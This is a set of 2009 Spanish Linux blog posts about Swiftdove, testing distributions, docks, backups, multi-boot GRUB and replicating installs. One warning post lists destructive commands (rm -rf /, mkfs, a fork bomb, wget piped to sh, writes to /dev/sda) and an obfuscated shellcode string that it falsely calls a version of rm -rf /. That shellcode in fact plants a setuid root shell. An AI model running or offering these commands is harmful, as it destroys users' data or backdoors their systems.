lunes, 29 de junio de 2009

Swiftdove: programa de correo alternativo a Thunderbird

De la misma forma que Firefox tiene una alternativa en Swiftweasel, el programa de correo Thunderbird la tiene en Swiftdove. Desde http://sourceforge.net/project/showfiles.php?group_id=195473&package_id=243203 se puede bajar una versión de Swiftdove adecuada a según el procesador que tengas .

1- Instalación y ejecución:

Si el paquete que bajas es en formato.deb lo instalas con synaptic, y te aparecera su icono de ejecución en Aplicaciones->Internet->Swiftdove.

Si el paquete que bajas es en formato .tar.gz entonces lo abres con el Gestor de Archivadores (file-roller) : veras que hay una carpeta "swiftdove",  la descomprimes primero en el escritorio, y luego la mueves al directorio de programas opcionales: /opt , de forma que haya la carpeta /opt/swiftdove. Luego abres con alt+f2 y Alacarte, el editor del menu de aplicaciones, y añades en Internet un nuevo elemento: - nombre: swiftdove  - icono: /usr/share/pixmaps/swiftdove-128x128.png - comando: /opt/swiftdove/swiftdove

Una vez instalado el programa, ahora para empezar a usarlo tenemos que:

2- Obtener la Libreta de Direcciones, las Cuentas de Correo, y los Mensajes desde Thunderbird a Swiftdove: Thunderbird guarda los datos en /home/(usuario)/.mozilla-thunderbird.

Por lo tanto para copiar los datos desde Thunderbird a Swiftdove,  cerramos Swiftdove y abrimos Nautilus y mostramos los archivos ocultos, vamos a /home/usuario/.mozilla-thunderbird, y copiamos el archivo profiles.ini y una carpeta con nombre xxxx.defalult ( xxxx es una combinación de numeros y letras), luego vamos a /home/usuario/.swiftdove en donde borramos la carpeta xxxx.default que haya, y pegamos el archivo profiles.ini y la carpeta xxxx.default anteriormente copiados.
Despues abrimos Swiftdove y ya debe tener la Libreta de Direcciones, las Cuentas de Correo, y los mensajes que tubiéramos en Thunderbird.

--- Otra forma de exportar e importar la Libreta de direcciones, es :

En Thunderbird: abres la Libreta de Direcciones  ->seleccionas la lista que quieres exportar; luego vas al menú Herramientas ->Exportar, y sigues los pasos. Por defecto se tiene que exportar en formato.ldif . Luego cierras Thuderbird,y abres Swiftdove.

En Swiftdove:, abres la Libreta de Direcciones ->seleccionas la lista que quieres importar, luego vas al menú Herramientas ->Exportar, y sigues los pasos, imprtando el archivo Ldif creado en el paso anterior.

3-Recién instalado aparecerá en ingles, pero se puede poner en español:

- Instalar el complemento para la corrección ortográfica: Desde la barra de herramientas de Swiftdove: Editar->Preferencias->Redacción->Ortografía->Idioma: esta solo el idioma Ingles de USA) pero se puede hacer click en bajar mas idiomas, se abre la página: https://addons.mozilla.org/es-ES/thunderbird/browse/type:3, e instalar el idioma Español; y una vez hecho seleccionarlo para que la próxima vez que se abra el programa se use el Español.

- Bajando e instalando el complemento para poner el programa en Español : es-ES.xpi ( se baja desde: http://ftp.spnet.net/mozilla/thunderbird/releases/2.0.0.21/linux-i686/xpi/es-ES.xpi )

- Bajando e instalando el complemento Quick Locale Switcher:   luego desde la barra de herramientas de Swiftdove->Herramientas->Quick Locate Switcher->selecciona el idioma Español.
-------------------------------------------------------
Todos los complementos para Thunderbird ( que por supuesto también funcionan en Swifdove) se pueden bajar desde el navegador en la página https://addons.mozilla.org/es-ES/thunderbird/ ; se instalan desde la barra de herramientas de Swiftdove -> Herramientas -> Complementos -> Instalar: se elige el complemento que previamente se ha bajado desde la página anterior.

Los complementos que tengo instalados, ademas de los anteriormente señalados, son:
- Country Lookup: busca el pais, y ciudad del origen de un email
- Exit button: añade un botón de apagado, para cerrar la aplicación
- Lightninig: un calendario integrado y controlador de tareas
- StartupMaster: para poner una contraseña y evitar que alguien te abra tu programa de correo
- Gmail IMAP Account Setup: para configurar cuentas IMAP de Gmail, para poder enviar/recibir correos de gmail en Thunderbird

Una vez lo tengas todo correcto, y hayas comprobado que te gusta Swiftdove, puedes si quieres desinstalar Thunderbird.

------------------------------

lunes, 22 de junio de 2009

Probando Distros

Si aunque estés contento con la distribución Linux que uses ( si usas Guadalinex, lo estarás ) pero te gusta probar otras distribuciones de Linux, otros "sabores" de Ubuntu, puedes hacerlo sin perjudicar/alterar el uso de tu sistema favorito

1- Con un live CD:

Es desde luego el método mas fácil, pero tiene varios inconvenientes:

- No se pueden probar distribuciones que no usen el sistema Live sino que el cd sirva únicamente para instalar el sistema en el disco duro, por ejemplo Linex

- No se puede guardar los cambios, para seguir con la prueba mas adelante: instalando paquetes, configurando el sistema, etc, y guardar los cambios para seguir con la prueba de la distro tal y como la dejamos en un momento dado, sin tener que empezar la prueba desde cero.

- La prueba no es "real", es decir no vemos de verdad como funciona el sistema, al menos en varios aspectos: el uso es mas lento, no sabemos cuanto tiempo tarda de verdad en iniciarse el sistema, puede suceder que en el modo-live el sistema nos funcione bien, pero que una vez instalado en el disco duro pudiéramos tener problemas con la tarjeta gráfica

-  Por contra tiene la ventaja de lo rápido que es el sistema para probar una distro live sin modificar para nada el sistema instalado en el disco duro; con este sistema puedes probar varias distros en poco tiempo.

2- Instalando en una partición:

Se puede usar este método de prueba tanto para probar una distro cuyo cd sirva únicamente para instalar el sistema en el disco duro, por ejemplo Linex, como para probar durante mas tiempo una distribución que ya hayamos probado antes con su cd-live.

Una vez instalada en el disco duro la prueba sera "real" es decir veremos como funciona de verdad el sistema.

Para instalar la distro en el disco duro, en otra partición distinta en la que ya tenemos Guadalinex hay que tener en cuenta lo siguiente:

-- Copia de Seguriad del MBR y de la Tabla de Particones: Siempre que se vaya a modificar particiones y/o gestor de arranque, existe un peligro de corromper tanto el sector de arranque (MBR o Master Boot Record) como la tabla de particiones. Para tener una copia de seguridad que podamos restaurar si ocurre algún desastre: copiarrestaurar-tabla-de-particiones-y-mbr

-- Particiones: Lo primero obviamente es crear la partición correspondiente ,( bien desde el Gparted instalado en Guadalinex, bien desde el propio sistema de instalación de la nueva distro que vas a instalar, o bien incluso desde un live-cd con gparted)  y una (solo una) para swap. Lo de una partición /home uniforme para todas las distros no lo recomiendo ya que  a lo mejor tienes alguna incompatibilidad entre programas por la configuración, por ejemplo puede haber problemas con gnome si son versiones distintas, las versiones de los programas son distintas, etc, etc... Es decir lo mas cómodo para no tener tantas particiones, y ya que la instalación de una nueva distro es solo para probar, es crear una sola partición nueva en la que se instalara toda la nueva distro ( es decir con /home/usuario en la misma partición que / ), y sin crear una nueva partición swap, ya que la que ya tienes para Guadalinex nos serivira también para la nueva distribución de linux. ( También podrías crear para la nueva distro dos particiones una para / y otra distinta para /home, pero no usar la partición /home de Guadalinex para la nueva distro)

-- Instalación del grub: Imaginemos que tienes Guadalinex en /dev/sda1 y su grub en el mrb. Después instalas otra distro en/dev/sda2 para probarla, por ejemplo Ubuntu , pero al final su grub lo instalas en la misma partición de Ubuntu, de esta forma no te sobrescribe el grub de Guadalinex. Luego reinicias Guadalinex y tienes que editar el grub de Guadalinex y añadirle las lineas de arranque de Ubuntu (que están en el grub de Ubuntu /dev/sda2). De esta forma si quieres desinstalar la distro de prueba Ubuntu solo tienes que formatear la partición donde lo has instalado ( en este ejemplo /dev/sda2) con lo que se borrara también su grub, y borrar la línea del grub de Guadalinex que hace referencia a Ubuntu.

3- Con VirtualBox:

El paquete VirtualBox se puede bajar desde: http://www.virtualbox.org/wiki/Linux_Downloads. Con VirtualBox la prueba de una distribución se hace sobre una máquina virtual, con su disco duro virtual, de forma que una vez funcionando la distribución en Virtualbox, la prueba no es ni tan "irreal" como con el live-cd, ni tan "real" como con la distro instalada en el disco duro; la prueba se puede hacer:

- Tanto si la distro que queremos probar es del tipo CD-Live como si no , podemos hacer la prueba con el sistema instalado en el disco duro virtual, en cuyo caso la prueba será mas parecida a la del apartado 2

- Si la distro es del tipo CD-Live, podemos hacer la prueba únicamente con el sistema funcionando con el CD-live sobre una máquina virtual, en cuyo caso la prueba será mas parecida a la del apartado 1.

En ambos casos VirtualBox nos permite guardar una (o varias) "instantanea" de como esta el sistema virtual en un momento dado, para poder continuar con la prueba mas adelante: es decir nos permite modificar el sistema virtual, instalando paquetes, configurando el sistema, etc, y guardar los cambios para seguir con la prueba de la distro tal y como la dejamos en un momento dado, sin tener que empezar la prueba desde cero, como pasa con la prueba con el CD-Live del apartado 1.

-- Para crear una "Instantánea": una vez que tienes la distro que estas probando en el estado que quieres conservar para futuras ocasiones/pruebas, debes teclear: "tecla de Host+S"  ( La tecla de Host es la que tienes que usar para que el ratón pase a funcionar con la distro que estas probando en vez de con Guadalinex). ( La tecla de Host la puedes ver y modificar desde la pantalla principal de VirtualBox-->Archivos-->Preferencias-->Entradas).

-- Para restaurar una "Instantánea": ( al restaurar una instantánea se inicia la distro, hasta el punto donde estábamos, mucho más rápidamente que cuando se inicia de forma normal la distro ).Puedes hacer las instantáneas que quieras, pero solo puedes restaurar la última: En la ventana principal de VirtualBox, a la derecha tienes una pestaña que pone "Instantáneas". Cuando creas instantáneas tienes dos opciones, una para iniciar desde ella (Solo la última instantánea permite elegirla y seleccionar: "revertir a la instantánea actual"  ) y otra para  descartarla y volver a la instantánea anterior. O sea, se puede crear la instantánea1, hacer cambios y crear la instantánea2, hacer cambios y crear la instantánea3. Pero luego no se podría cargar el sistema desde la instantánea1, sino que para ello tendrías que descartar la instantánea 3 y la 2.

Al restaurar una instantánea se inicia la distro, hasta el punto donde estábamos, mucho más rápidamente que cuando se inicia de forma normal la distro.

-----------------------

Desde http://www.virtualbox.org/wiki/Downloads podemos conseguir un manual.pdf de VirtualBox ( en ingles ), y desde esta otra: un manual.pdf en español ( aunque explica como instalar ubuntu con virtualbox sobre windows, nos sirve igual para saber como usar virtualbox) . Desde estas páginas: Manual-Virtual-Box o Tutorial-de-virtualbox/ se puede ver un tutorial, en español, para instalar Windows en ubuntu ( pero sirve igual de tutorial para probar una distro de linux). También en http://doc.ubuntu-es.org/Virtualbox se explica el uso de VirtualBox

-----------------------------------

4- Instalando la distro en un pendrive:

En este tema explico como instalar Linux en un pendrive, y usando el mismo sistema se deberían poder instalar otras distribuiciones, al menos Ubuntu y derivadas.

Indiocabreao indica otras formas de hacerlo:

- Usando este tutorial (que es para Ubuntu pero debería servir)
- Usando unetbootin (casi seguro la manera mas fácil)
- Usando ubuntu-liveusb y este tutorial (también muy sencillo)

Los últimos Cd live de Ubuntu llevan también un programa para instalar el sistema en un pendrive: usb-creator: descripción que hay en sinaptic: Ubuntu USB desktop image creator. This is a simple utility designed to make bootable USB desktop images from Ubuntu CDs.

Una vez instalada en el pendrive la prueba sera muy “real” es decir veremos como funciona de verdad el sistema, pudiendo instalar/desinstalar programas o cambiando la configuración, y guardando los cambios. Ademas la podemos probar en cualquier pc que la bios permita el inicio desde usb.

Esta página parece especializada en instalar distintas distros en pendrive: http://www.pendrivelinux.com/

5- Desde el menú del Grub2: se puede probar una distro de la que tengamos su .iso en el disco duro, como explico en:   Iniciar una imagen.iso de Ubuntu guardada en el disco duro desde el Grub2

-----------------------------------------------------------

miércoles, 17 de junio de 2009

"Dock de Aplicaciones"



Un "Dock" es un barra de navegación que se encuentra principalmente en la parte inferior/superior de la pantalla (se permite modificar la situación y ponerla a la derecha/izquierda) sirve para facilitarnos la localización de las aplicaciones instaladas en nuestro sistema con iconos de acceso directo,  provee a un usuario de un modo de lanzamiento y conmutación entre aplicaciones. Hay varios que se pueden instalar en el sistema, por ejemplo:

1-Simdock
Es un dock bastante estable. Estéticamente es probablemente el menos exitoso, pero al no requerir un administrador de composición como Compiz-Fusion lo hacen una herramienta de elección para pequeñas configuraciones. Esta en los repositorios, instalandose con synaptic.

-------------------------------------------

2-Kiba Dock
Es muy configurable y personalizable, quizás lo que más llama la atención del dock es que obedece a las típicas leyes físicas de estas herramientas, también tiene el efecto de ampliación: destaca por un aspecto realmente singular: los iconos parecen tener vida propia, ya que este Dock hace uso de simulación de propiedades físicas para dotar a los iconos de peso, magnetismo, y otras características que permiten arrastrarlos y soltarlos con un resultado poco previsible y divertido.
Se puede conseguir el paquete .deb para su instalación desde por ejemplo : http://cesarius.net/wp-content/uploads/kiba-dock_0.1-1.2_i386.deb

-------------------------------------------

3-GDesklets Launchbar
Incluido en gdesklets, este dock es bastante exitoso visualmente, pero lamentablemente demasiado inestable para el uso diario. El aspecto positivo radica en que si ya utilizamos gdesklets, el uso de esta barra de inicio, no hace instalar una aplicación adicional. Se instala desde los repositorios, con Synaptic.

-------------------------------------------

4-Avant Window Navigator
(AWN) no es uno de los más espectaculares, pero sí uno de los que mejor funciona. Además de ser un lanzador de aplicaciones, también en la barra podemos ver las aplicaciones que tenemos abiertas. Dispone de varios plugins para extender las opciones de la aplicación (mostrar escritorio, papelera, selector de escritorio...). Se instala desde los repositorios, con synaptic; hay que instalar dos paquetes: awn-manager y avant-window-navigator; una vez instalados el primero de ellos sirve para configurar el dock propiamente dicho que es el segundo ( desde el dock no se accede a su configuración, sino que hay que ejecutar el awn-manager)

Se puede descargar el paquete .deb que se adapte a tu sistema: desde http://www.getdeb.net/release.php?id=1622 (para AMD) o desde http://www.getdeb.net/release.php?id=1621 (para Intel)

-------------------------------------------

5-Cairo dock 2
Es el “competidor” directo Awn en términos de calidad. Requiere un gestor de ventanas tipo Beryl o Compiz-Fusion. Este dock permite una gran cantidad de opciones como: elección del lugar en el escritorio, plugins, posibilidad de auto esconderse, agregar subdocks a uno o más elementos, configurar el fondo, agregar separadores, diferentes tipos de animación…etc, y todo ello desde el propio dock.
Desde la página http://developer.berlios.de/project/showfiles.php?group_id=8724 puedes bajar el paquete cairo-dock y el paquete de sus plugins.
Una vez instalado se puede ejecutar en dos modos:  Cairo-Dock con OpenG ( con muchos efectos especiales), o sin OpenGl ( mas sencillo).

El dock que uso es Cairo2, sin OpenGl, y su aspecto es el siguiente:



-------------------------------------------

Para iniciar automáticamente cualquiera de los Docks que instalemos al inicio de la sesión, basta con ir a Sistema/Preferencias/Sesiones/Programas de Inicio, le damos a "Nuevo", le ponemos un nombre, por ejemplo "AWN" y en el Comando, escribimos el comando que ejecuta el dock, en el caso de AWN "avant-window-navigator" (sin las comillas).

En el caso de Cairo dock 2:
si queremos que se ejecute sin OpenGl, el comando que debemos poner es: cairo-dock -c
si queremos que se ejecute con OpenGl, el comando que debemos poner es: cairo-dock -o

-------------------------------------------

6-Pero si no quieres crear un pseudo "dock de Aplicaciones"  sin instalar ningún programa:
--- hacer click con el botón derecho del ratón sobre el panel, y seleccionar panel nuevo
--- hacer click con el botón derecho del ratón sobre el nuevo panel y seleccionar propiedades
--- en la pestaña general se puede seleccionar:
- donde colocar el panel: superior, inferior, derecha, izquierda
- tamaño en pixels
- seleccionar: mostrar botones de ocultación, flechas en los botones de ocultación
- deseleccionar: expandir, ocultar automáticamente
--- en la pestaña fondo se puede seleccionar:

- ningún fondo (usar tema del sistema); o un color, mas o menos translucido o transparente; o una imagen de fondo ( nada de todo esto es importante desde el punto de vista funcional, por lo que podemos elegir lo que mas nos guste). Una vez configurado de esta forma dar a cerrar.

Se habrá creado un nuevo panel, cuyo tamaño en principio sera bastante pequeño ( en longitud ), pero ira creciendo según le vayas añadiendo aplicaciones; en este nuevo panel se pueden arrastrar los iconos de las Aplicaciones, del Menú de Aplicaciones; o poniendo el cursor del ratón sobre una flecha del botón de ocultación y haciendo click en el botón derecho del ratón, se le puede añadir aplicaciones, lanzadores de aplicaciones, lanzadores personalizados, u otros elementos. En este caso, para lo que hemos creado este nuevo panel es para añadirle nuestras Aplicaciones favoritas.

No es un verdadero "dock", pero nos sirve "casi para lo mismo", sin necesidad de descargar/instalar nada, y de la misma forma se pueden crear todos los "docks" que quieras.

El aspecto de este falso dock podría ser algo así:



-------------------------------

domingo, 14 de junio de 2009

Copia de Seguridad de nuestra configuración

¿Dónde se realizan los cambios al configurar y personalizar nuestro Linux y qué se guarda en cada uno ?: Básicamente en estos directorios:

1-En nuestro directorio de usuario (por ejemplo:/home/usuario), en donde guardamos nuestros archivos personales, y  donde se sitúan el 90% de las personalizaciones y configuraciones particulares que realizamos a los programas que usamos.

2-En el directorio /boot: Aquí nos encontramos los archivos necesarios para el inicio del sistema, desde los archivos de configuración de Grub o Grub2, hasta el propio kernel del sistema.

3- En el directorio /etc : donde se sitúan el 100% de las configuraciones que realizamos al sistema, o propiamente dicho a su funcionamiento. Tómese como ejemplo las unidades y sus puntos de montaje (archivo fstab), el nivel de inicio con o sin interfaz gráfica (inittab), el mensaje del sistema a cada usuario que se inicia (motd), los servicios que queremos ejecutar (en /init.d, dentro del respectivo runlevel), comandos personalizados de inicio (rc.local), el nombre del sistema (hostname), módulos del kernel que se cargan para activar hardware como placas de sonido y de red (conf.modules), etc.

Para hacer un backup de la configuración de un sistema Linux es necesario guardar en un lugar seguro los directorios nombrados con todo su contenido (subdirectorios y carpetas ).
Los directorios a copiar son entonces:
/home
/boot
/etc

Es necesario copiarlos por completo, incluyendo los directorios y archivos ocultos (son los que tienen el punto delante del nombre), para hacer la copia es recomendable usar el Midnight Commander (mc) con la opción de copia que aparece por defecto al presionar F5 (Copiar), pues de esta manera conservamos permisos y propietarios de los directorios y archivos evitando futuros problemas de acceso a ellos; o con los Programas de Copia de Seguridad que aparecen en el enlace que hay mas abajo, por ejemplo con Back in_Time

El 100% de los archivos que conforman la configuración del sistema y de los usuarios son archivos de texto modificables con cualquier editor de texto disponible, no hay ningún registro al estilo Windows, ni nada parecido.

Con respecto a /home y /boot, estos contienen directorios y archivos ocultos (los que tienen un punto delante del nombre), algunos finalizan con rc (run control: control de ejecución) y son los que establecen el comportamiento de ciertos programas y entornos que usamos en Linux. Es vital por tanto copiar todos estos directorios y archivos..

Si se quiere hacer un backup en CD es necesario grabar los datos desde Linux, pues si los copiamos hacia una partición fat32 (Windows), cambiarán los permisos (se activarán los permisos de ejecución) y hará el backup inutilizable para una restauración directa; pues habría que recambiar todos los permisos de todos los archivos.

Para ver el árbol de directorios del sistema: http://hatteras-blog.blogspot.com.es/2008/01/arbol-de-directorios.html
Para ver algunas otras carpetas útiles: http://hatteras-blog.blogspot.com.es/2009/01/algunas-carpetas-utiles-en-nautilus.html
Para ver Programas de Copia de Seguridad: http://hatteras-blog.blogspot.com.es/2009/01/programas-de-backup-copia-de-seguridad.html

---------------------

miércoles, 10 de junio de 2009

Instalando varias distribuciones de Linux

Puede ser que después de usar Guadalinex, queramos tener instalada otra o varias distribuciones de Linux, para probarlas. Para instalar la nueva distro en el disco duro, en otra partición distinta en la que ya tenemos Guadalinex hay que tener en cuenta lo siguiente: ( doy por hecho que se sabe instalar una distribución de Linux, ya que este no es un tema para aprender esto )

– Copia de seguridad del MBR y de la tabla de particiones: Siempre que se vaya a modificar particiones y/o gestor de arranque, existe un peligro de corromper tanto el sector de arranque (MBR o Master Boot Record) como la tabla de particiones. Para tener una copia de seguridad que podamos restaurar si ocurre algún desastre: copiar/restaurar la tabla de particiones y mbr

– Particiones: Lo primero obviamente es crear la partición correspondiente ,( bien desde el Gparted instalado en Guadalinex, bien desde el propio sistema de instalación de la nueva distro que vas a instalar, o bien incluso desde un live-cd con Gparted)  y una (solo una) para swap. Lo de una partición /home uniforme para todas las distros no lo recomiendo ya que  a lo mejor tienes alguna incompatibilidad entre programas por la configuración, por ejemplo puede haber problemas con gnome si son versiones distintas, las versiones de los programas son distintas, etc, etc… Es decir lo mas cómodo para no tener tantas particiones, y ya que la instalación de una nueva distro es solo para probar, es crear una sola partición nueva en la que se instalara toda la nueva distro ( es decir con /home/usuario en la misma partición que / ), y sin crear una nueva partición swap, ya que la que ya tienes para Guadalinex nos servirá también para la nueva distribución de linux. ( También podrías crear para la nueva distro dos particiones una para / y otra distinta para /home, pero no usar la partición /home de Guadalinex para la nueva distro).

En todo caso el particionamiento debe hacerse de forma manual, y teniendo mucho cuidado de no formatear la partición/es ( solo una partición /   , o  dos particiones: / y /home ) en las que pueda estar instalado Guadalinex.

– Instalación del grub:

I- Si la nueva distro permite elegir el grub donde quieras: Imaginemos que tienes Guadalinex en /dev/sda1 y su grub en el mbr. Después instalas otra distro ( por ejemplo Ubuntu)  en/dev/sda2 para probarla, pero al final su grub lo instalas en la misma partición de Ubuntu ( en este ejemplo en /dev/sda2 ), de esta forma no te sobrescribe el grub de Guadalinex, sino que sigue siendo éste el que aparece al iniciar el pc.
Luego reinicias Guadalinex y tienes que editar el grub de Guadalinex y añadirle las lineas de arranque de Ubuntu (que están en el grub de Ubuntu /dev/sda2), para poder acceder a la nueva distro en el siguiente arranque del pc.

De esta forma si quieres desinstalar la distro de prueba Ubuntu solo tienes que:
1- formatear la partición donde lo has instalado ( en este ejemplo /dev/sda2) con lo que se borrara también su grub ( se hace con Gparted bien desde un live cd o bien desde Guadalinex  )
y 2- borrar la línea del grub de Guadalinex que hace referencia a Ubuntu ( se hace con el editor del menú de arranque -> Grubaker, bien desde el live cd de Guadalinex o desde el Guadalinex instalado en el disco duro).

II- Si la nueva distro No permite elegir el grub donde quieras, sino que lo instala por defecto en la 1ª partición del 1º disco, entonces:
1-  si en el nuevo grub están las entradas que hubiera en el grub de Guadalinex, mas las de la nueva distro, ya podremos usar cualquiera de los dos sistemas operativos;
o 2- si en el nuevo grub no están las entradas que hubiera en el grub de Guadalinex,  habría que mediante el live cd de Guadalines modificar el grub para que tenga todas las entradas necesarias.

Luego si quisiéramos desintalar la distro de prueba solo hay que:
1- formatear la partición donde la hayas instalado ( se hace con Gparted bien desde un live cd o bien desde Guadalinex  )
y 2- mediante el live cd de Guadalinex modificar el grub para que tenga solo las entradas de éste.

-----------------------------------------------

viernes, 5 de junio de 2009

Replicar una instalación en varios pcs


La situación es la siguiente: tenemos varios pcs en los que queremos instalar en todos ellos el Sistema Guadalinex y que tengan todos los mismos paquetes, y queremos hacerlo de la forma mas rápida y segura posible.

I) Clonando las particiones con Partimage o Clonezilla:

Una vez instalado el sistema en un primer pc e instalado posteriormente todos los paquetes necesarios, se puede clonar la partición / ( si todo el sistema esta instalado en una sola partición ) o la partición / y la /home ( si el sistema esta instalado en estas dos particiones ), para instalar el sistema clonado en los demas pcs. Para que este sistema funcione bien el hardware de los pcs debe ser similar. En este tema se explica como clonar particiones.


-------------------------------------------------

II) Instalar todo el Sistema base y seguidamente instalar una lista con todos los paquetes que deseamos:

Con este sistema No es necesario que todos los pcs tengan el hardware similar, ya que en cada uno de ellos se hace la instalación del sistema por separado. Se necesita que todos los pcs tengan conexión a internet.

1- Instalar en cada pc el sistema base con el cd live de instalación de Guadalinex

2- Replicar una instalación en varios pcs a partir de un "pc plantilla": una forma sencilla es obtener una lista de los paquetes de una instalación en un pc para luego usarla para instalar directamente esta lista en otros pcs.

– Para obtener una lista de los paquetes que tenemos en nuestro “pc plantilla”, procederemos ejecutar lo siguiente en una Terminal:
$ dpkg --get-selections | grep -v deinstall > ubuntu-files

Ésto nos genera en /usuario/home un archivo llamado ubuntu-files, el cual contiene la lista que deseamos. – Para luego instalar todos estos paquetes en las otras máquinas, bastará con llevarnos este fichero a dichas máquinas y ejecutar:
$ sudo apt-get update
$ sudo apt-get dist-upgrade
$ sudo dpkg --
set-selections < ubuntu-files
$ sudo dselect install
Ya tenemos unos pcs que tienen una réplica exacta de la instalación del “pc plantilla”.

-------------------------------------

III) Instalar todo el Sistema base y seguidamente instalar los paquetes que deseamos, con AptOnCD:

Con este sistema No es necesario que todos los pcs tengan el hardware similar, ya que en cada uno de ellos se hace la instalación del sistema por separado. Al contrario que en el método anterior, No se necesita que todos los pcs tengan conexión a internet.

1- Instalar en cada pc el sistema base con el cd live de instalación de Guadalinex

2- Replicar una instalación en varios pcs a partir de un CD/DVD creado con la aplicación AptOnCD

------------------------------------------------------

lunes, 1 de junio de 2009

Comandos peligrosos

He estado dudando mucho si publicar o no este tema sobre comandos que podrían dañar tus archivos o tu sistema operativo por completo, ya que no quisiera ser responsable de que por curiosidad los ejecutaras y se estropeara tu sistema; por lo tanto te lo digo: NO EJECUTES estos comandos, aunque estos comandos no hacen gran cosa si no se ejecutan como root

--------------------------------------------

rm -rf /
Esto borrará recursivamente y de manera forzada todos los archivos de tu directorio raíz, o root.

Como hay "gente pa to" en algún lugar he leído que un tio ejecuto ese comando, grabando el resultado con una videocámara, para luego poner el resultado en youtube; luego supongo que reinstalaria el sistema con una copia de seguridad que tubiera a buen recaudo.

Para saber el buen uso de este comando teclea en una terminal: man rm
--------------------------------------------
char esp[] __attribute__ ((section(”.text”))) /* e.s.p
r
elease */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″

“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

Esta es la versión hexadecimal de [rm -rf /], que podría confundir a los más experimentados.
--------------------------------------------
mkfs.ext3 /dev/sda
Se formateará (o borrará) todos los archivos en el dispositivo mencionado después del comando mkfs.

Para saber el buen uso de este comando teclea en una terminal: man mkfs --------------------------------------------
:(){:|:&};:
Conocido como forkbomb, le ordenará a tu sistema ejecutar una gran cantidad de procesos hasta que éste se congele. Frecuentemente puede llevarnos a datos corruptos.

Una forma de hacer que no pase nada con la "forkbomb" es editar en modo root y añadir al final del archivo/etc/security/limits.conf la línea :
% hard nproc 50
Con esto limitamos a 50 el número máximos de procesos que puede ejecutar el usuario.
Guardamos la configuracion (Ctrl + O) y salimos (Ctrl + X).
Ahora para que empecemos a estar protegidos solo basta reiniciar el PC.
Si al configurar el valor en 50, recibes cada tanto un error como este: bash: fork: recurso temporalmente no disponible, esto es debido a que el usuario esta ejecutando mas de 50 procesos normalmente, por lo cual para no recibirlo, modifica el valor a un nivel mas alto, de acuerdo a la cantidad de procesos que ejecutes normalmente: puedes saberlo ejecutando en una terminal el comando top, y viendo que número hay después de Tasks.

--------------------------------------------
cualquier_comando > /dev/sda
Con este comando, se escribirá información en un block que usualmente corresponde al sistema de archivos, lo que resulta en una pérdida total de información.
--------------------------------------------
wget http://alguna_fuente_desconocida -O- | sh
Nunca descargues archivos de fuentes desconocidas, pues después podrías ejecutar cualquier código malicioso que se te envíe.
--------------------------------------------
mv /home/tu_nombre/* /dev/null
Se moverán todos los archivos en tu directorio home a un lugar que no existe. Esto quiere decir que no volverás a ver esos documentos de nuevo.

Para saber el buen uso de este comando teclea en una terminal: man mv

-------------------------------------------

No debería uno fiarse de cualquier script con comandos que uno no entiende. Esto no sera un virus, porque no se autoreproduce, pero llamémosle como queramos es un peligro. Y no creo que haya una herramienta, método o algo que nos ayude a comprobar antes de ejecutar un script que no tenga algo malicioso de ese tipo, salvo aprender comandos y mas comandos, para estudiar el script antes de ejecuarlo, lo cual me parece que esta fuera del alcance de la mayoria de los que usamos linux.

De todas formas se puede aprender mucho usando la Terminal para saber sobre los comandos, si tecleas: man nombre del comando te aparece información sobre ese comando, lo que significa, sus opciones, usos etc. Y si quieres aprender a crear tus propios scripts, aquí explico como crear un script básico.

Que conste que por ahora todos los scripts que he usado: http://g-scripts.sourceforge.net/nautilus-scripts.javielinuxhttp://gnome-look.org/  (entre ellos: nautilus cripts pack) o no me han funcionado pero tampoco me han dado problemas, o si me han funcionado y sin problemas.

Si instalas/ejecutas cualquier cosa SIEMPRE es por tu cuenta y riesgo. Lo que ocurre es que es poco probable que si alguien tiene desde hace tiempo una web de paquetes o de scripts y todo el mundo está contentísimo con ella vaya a tener algún script malintencionado.

También hay que tener cuidado con los scripts, comandos, etc que te puedan aconsejar que ejecutes en una página, blog, foro, etc, No teclees nada en la terminal procedente de alguien en el que no confíes.

Pero todo tiene su solución. Se pueden ejecutar los scripts sin firmar: 1- en una jaula chroot 2- directamente en una máquina virtual, con Virtualbox con "una instantánea" del Sistema. De esta forma el desastre se reduce prácticamente a nada. 3- En un pc de prueba con el mismo sistema linux que tengamos en nuestro pc de trabajo.

------------------------------

Esta es la explicación de lo que es una "jaula chroot" dada por "Guadafan":

El comando chroot sirve para cambiar el directorio raíz. Imagina que en guadalinex tienes una carpeta llamada /home/hatteras/misegundoguadalinex
Dentro de esa carpeta tienes la copia de otra distro básica o de tu misma guadalinex, es decir, que tendrías algo así como:

/home/hatteras/misegundoguadalinex/bin
/home/hatteras/misegundoguadalinex/sbin
/home/hateras/misegundoguadalinex/usr
/home/hateras/misegundoguadalinex/etc
/home/hateras/misegundoguadalinex/home
...

Pues si haces chroot /home/hateras/misegundoguadalinex automáticamente cambiarías el directorio de trabajo a este directorio y el directorio raiz / ahora sería misegundoguadalinex/, pero totalmente transparente. Al hacer chroot estarías ejecutando comandos que hay dentro de misegundoguadalinex no de tu guadalinex original.

-------------------------------------------